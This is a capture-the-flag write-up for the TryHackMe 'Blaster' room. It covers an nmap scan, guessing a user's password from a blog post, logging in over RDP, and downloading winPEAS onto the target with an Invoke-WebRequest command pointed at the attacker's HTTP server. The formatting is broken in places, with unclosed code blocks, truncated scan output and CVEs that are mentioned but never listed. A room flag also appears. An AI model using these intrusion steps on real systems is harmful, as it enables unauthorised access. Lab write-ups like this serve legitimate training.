# TryHackMe-Blaster CTF

## NMAP
```
export IP=10.10.74.61
```
Now we want to scan all ports that are open on the box so for this we are going to use `-p-` ports `-A` aggressive scan to look for all ports `-T4` is the speed of the result and `$IP` is IP variable.
```
nmap -p- -A -T4 $IP
```
```
Host is up (0.22s latency).

By visiting the directory `/retro` we will find a username `Wade`.
By going through the page we will see a post
```
Ready Player One
by Wade
I can’t believe the movie based on my favorite book of all time is going to come out in a few days! Maybe it’s because my name is so similar to the main character, but I honestly feel a deep connection to the main character Wade. I keep mistyping the name of his avatar whenever I log in but I think I’ll eventually get it down. Either way, I’m really excited to see this movie!
```
Now by googling the name of the avatar we will find `Parzival` which is the passworrd for `Wade`.
## Remmina (RDP)
Remmina is RDP client for linux
Simply launch the application and in the username insert `wade` in password `parzival` and you will be logged into windows machine.
```
THM{HACK_PLAYER_ONE}
```
Now that we have access to the machine we can run `winPEAS` on it to do that we first need to host it on our local machine
```
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```
Then open powershell on target machine since `curl` isn't available.
```
Invoke-WebRequest http://10.8.94.60:8000/winPEAS.exe -O winPEAS.exe
```
And run the file.
```

You will see theses CVE's which are vulnerable to this machine for me internet explorer wasn't showing history so this method also works.
